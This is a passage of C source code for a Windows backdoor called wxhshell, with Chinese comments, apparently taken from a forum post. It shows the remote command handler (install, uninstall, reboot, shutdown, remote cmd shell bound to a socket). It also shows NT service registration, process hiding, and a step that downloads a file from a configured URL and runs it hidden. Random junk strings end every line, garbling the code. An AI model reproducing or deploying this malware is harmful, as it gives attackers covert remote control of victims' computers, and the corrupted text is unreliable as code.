    if(Install()) f1MRmp-f'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TVD~Ix  
    else PC_!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -`~qmRpqY  
    break; Cg): Q8  
    } Af;Pl|Zh[  
  // 卸载 s$R /!,c  
  case 'r': { [Cl0Kw.LD  
    if(Uninstall()) JpC'(N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7y'":1  
    else R&Y_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); < '5~p$  
    break; ~?F,kmO}?  
    } y&zFS4"x  
  // 显示 wxhshell 所在路径 [tpiU'/Zl  
  case 'p': { mVZh_R=a  
    char svExeFile[MAX_PATH]; !CGX\cvW  
    strcpy(svExeFile,"\n\r"); "tz6O0D  
      strcat(svExeFile,ExeFile); \Fz9O-jb4  
        send(wsh,svExeFile,strlen(svExeFile),0); hpAdoy[  
    break; $N=&D_Q  
    } 9GD0jJEu  
  // 重启 {cm?Q\DT  
  case 'b': { _RbfyyaN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =X4Fn^w"4O  
    if(Boot(REBOOT)) fCr2'+O"b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t1FtYXv`/  
    else { exb} y  
    closesocket(wsh); 86r"hy~  
    ExitThread(0); hC<ROD  
    } V)^Xz8H_  
    break; ,MCTb'=G  
    } +`HMl;0m  
  // 关机 #d-({blo<  
  case 'd': { 1>J.kQR^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H#TkIFo]  
    if(Boot(SHUTDOWN)) +` Md5.w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?F"o+]i+^  
    else { 7ftn gBv?  
    closesocket(wsh); QH/py  
    ExitThread(0); TpKAdrY  
    } uY& 1[(Pb  
    break; =?RI`}vw_H  
    } {@InOo!4w]  
  // 获取shell "I.6/9  
  case 's': { h6h6B.\ Ld  
    CmdShell(wsh); Ei4^__g\'  
    closesocket(wsh);  =}`d  
    ExitThread(0); ic2 D$`M  
    break; u&:N`f  
  } = l`)b  
  // 退出 y(COB6r  
  case 'x': { Pd91<L  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z#tIa  
    CloseIt(wsh); {[H_Vl@  
    break; C*Vm}|)  
    } {D4FYr J  
  // 离开 pbVL|\oB}  
  case 'q': { L/8oqO|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }_D.Hy5  
    closesocket(wsh); '}Fe&%  
    WSACleanup(); %B%_[<B  
    exit(1); o :d7IL  
    break; ppAbG,7  
        } 0?7yM:!l  
  } PIri|ZS  
  } V\L;EHtc$  
is<:}z  
  // 提示信息 .vu7$~7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \o>-L\`O  
} kKyU?/aj  
  } M)bQvjj  
cgb>Naa<  
  return; h.\I tK{)  
} Tv``\<   
!nBbt?*  
// shell模块句柄 c!Hz'W  
int CmdShell(SOCKET sock) Bz]tKJ  
{ )4g_S?l=  
STARTUPINFO si; ^j<v~GT x+  
ZeroMemory(&si,sizeof(si)); bY~K)j v3&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?qjdmB|w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OgF[=  
PROCESS_INFORMATION ProcessInfo; CD`a-]6qA  
char cmdline[]="cmd"; HMq}){=S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [DaAvN^0A  
  return 0; Z0<Vss  
} ,&o9\|ih7]  
k1B ](@xt  
// 自身启动模式 !1$x4 qxS  
int StartFromService(void) 7<j!qWm0  
{ #HcQ*BiF3  
typedef struct ,P~e)<.  
{ J}V4.R5d  
  DWORD ExitStatus; aq?bI:>8  
  DWORD PebBaseAddress; scV%p&{a  
  DWORD AffinityMask; ?@"@9na  
  DWORD BasePriority; =Vg~ VD   
  ULONG UniqueProcessId; yq~  
  ULONG InheritedFromUniqueProcessId; ?{J1&;j*  
}   PROCESS_BASIC_INFORMATION; +Br<;sW  
n_QuuUB  
PROCNTQSIP NtQueryInformationProcess; TK5$-6k  
K$S0h-?9]O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M^kaik  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qYoW8e   
c~T {;  
  HANDLE             hProcess; 0)dpU1B#M  
  PROCESS_BASIC_INFORMATION pbi; (TeH)j!  
~?/7: S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DI0& _,  
  if(NULL == hInst ) return 0; SgU@`Pb  
534pX7dg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8{4'G$6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !@z9n\Yj  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fk}Raej g  
&GH [$(  
  if (!NtQueryInformationProcess) return 0; [<B,6nAl  
IogLkhWX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BbB3#/g  
  if(!hProcess) return 0; 0]>bNbLB"  
~A0AB `7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =-dnniKW4  
DFr$2Y3H  
  CloseHandle(hProcess); Jk.x^  
8r( Vz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lO@-*m$  
if(hProcess==NULL) return 0; qZ<n\Mt  
(u?s@/e:`/  
HMODULE hMod; 5H._Q  
char procName[255]; 6C$+D  
unsigned long cbNeeded; gc4o |x  
s.z)l$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); B;bP~e>W  
'M%iS4b{IM  
  CloseHandle(hProcess); }cz58%  
/IirTmFK  
if(strstr(procName,"services")) return 1; // 以服务启动 RY5e%/bg~U  
wU%uO/sU9  
  return 0; // 注册表启动 Md6u4c  
} ~criZI/  
X0*+]tRg  
// 主模块 ca=MUm=B  
int StartWxhshell(LPSTR lpCmdLine) . r/s.g  
{ "|6(.S+o  
  SOCKET wsl; RrLiH>  
BOOL val=TRUE; :$Cm]RZ  
  int port=0; L' y0$  
  struct sockaddr_in door; 6F^/k,(k4  
C5=^cH8  
  if(wscfg.ws_autoins) Install(); )F9IzR-&m  
.3EEi3z6z  
port=atoi(lpCmdLine); |mhKD#:  
oX6C d:c-  
if(port<=0) port=wscfg.ws_port; >uCO=T,|  
PCCE+wC6  
  WSADATA data; X}B] 5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ejg!1*H@n  
8h ol4'B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0,0WdJAe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H8HH) ^  
  door.sin_family = AF_INET; e\z,^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Y`+L6&UX  
  door.sin_port = htons(port); |f}wOkl  
`c:r`Oi?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZZi 9<g1  
closesocket(wsl); 6X ]I`e  
return 1; eI|FrBq%  
} z{.&sr>+v  
D*L@I@ [  
  if(listen(wsl,2) == INVALID_SOCKET) { nR%w5oe  
closesocket(wsl); ?r;F'%N=  
return 1; K*~xy bA  
} 8\il~IFyi  
  Wxhshell(wsl); :MDFTw~|  
  WSACleanup(); d/NjY[`5+  
4gZR!J  
return 0; E2hML  
V^(W)\  
} 5P*jGOg.  
319 4]  
// 以NT服务方式启动 QP%AJ[3ea%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .9DhD=8aIO  
{ , -])[u  
DWORD   status = 0; OfLj 4H 6Q  
  DWORD   specificError = 0xfffffff; 6T"5,Q</h  
FkaQVT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <a CzB7x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *4 m]UK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o<|u4r={s  
  serviceStatus.dwWin32ExitCode     = 0; T&dc)t`o  
  serviceStatus.dwServiceSpecificExitCode = 0; *`s*l+0b  
  serviceStatus.dwCheckPoint       = 0; Mf5kknYuL9  
  serviceStatus.dwWaitHint       = 0; RCkmxO;b&  
__z/X"H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y}vV.q  
  if (hServiceStatusHandle==0) return; `34+~;;Jh  
af'ncZ@U  
status = GetLastError(); ]_>38f7h  
  if (status!=NO_ERROR) >U:-U"rA?  
{ ; {m;CKHI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sVO|Ghy65  
    serviceStatus.dwCheckPoint       = 0; +MS*YpPW  
    serviceStatus.dwWaitHint       = 0; J^kSp  
    serviceStatus.dwWin32ExitCode     = status; @$b7 eu  
    serviceStatus.dwServiceSpecificExitCode = specificError; b#(QZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <{V{2V#  
    return; _)CCD33$  
  } 45+kwo0  
MNfc1I_#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g6q[ I8  
  serviceStatus.dwCheckPoint       = 0; j1JdG<n  
  serviceStatus.dwWaitHint       = 0; ubl Y%{"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j%!xb><  
} IFSIQ q  
7vqE @;:dt  
// 处理NT服务事件,比如:启动、停止 yr zyus  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Dmtsu2o  
{ %)}_OXWf:  
switch(fdwControl) ZA4sEVHW  
{ ^]LWcJ?"^!  
case SERVICE_CONTROL_STOP: CIR2sr0a  
  serviceStatus.dwWin32ExitCode = 0; h#h)=;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ud(w0eX  
  serviceStatus.dwCheckPoint   = 0; enMHKN g  
  serviceStatus.dwWaitHint     = 0; Zf)<)o*  
  { >wV2` 6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ++kVq$9@y  
  } gZ (\/m8Z  
  return; -OQ6;A"#  
case SERVICE_CONTROL_PAUSE: 6.v)q,JL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e ~G IUwJ  
  break; _T^@,!&  
case SERVICE_CONTROL_CONTINUE: G!GGT?J  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; o`jVd,aj  
  break; *xKY>E+  
case SERVICE_CONTROL_INTERROGATE: f <DqA/$  
  break; :JxuaM8  
}; 5X`m.lhUc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cT JG1'm  
} ^O5PcV3Eg  
EU7mP MxJ  
// 标准应用程序主函数 r-}C !aF]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }8'bXG+  
{ XQ k ,xQ  
B?XqH_=0L  
// 获取操作系统版本 BfvvJh_  
OsIsNt=GetOsVer(); G{s q|1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _'r&'s;<z  
xirZ.wjW  
  // 从命令行安装 M-f; ,>  
  if(strpbrk(lpCmdLine,"iI")) Install(); x8rp Z  
5DeAH ;  
  // 下载执行文件 mVyF M -`  
if(wscfg.ws_downexe) { 5,V3_p:)VI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^^*dHWHn<  
  WinExec(wscfg.ws_filenam,SW_HIDE); sr$JFMTO11  
} gDsb~>rb|  
sU?%"q  
if(!OsIsNt) { nrZZkQNI  
// 如果时win9x,隐藏进程并且设置为注册表启动 vB/G#\Zqz  
HideProc(); 9<!Ie^o?  
StartWxhshell(lpCmdLine); )e\IdKl=  
} !vSj1w  
else XCZNvLG  
  if(StartFromService()) /`B:F5r  
  // 以服务方式启动 y}lqF8s  
  StartServiceCtrlDispatcher(DispatchTable); v+2t;PJd2  
else 7gbu7"Qc  
  // 普通方式启动 ON3~!Q)  
  StartWxhshell(lpCmdLine); >^KO5N-:4  
r7:4| 6E  
return 0; bu r0?q  
}
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只看该作者 1 发表于: 2006-10-10
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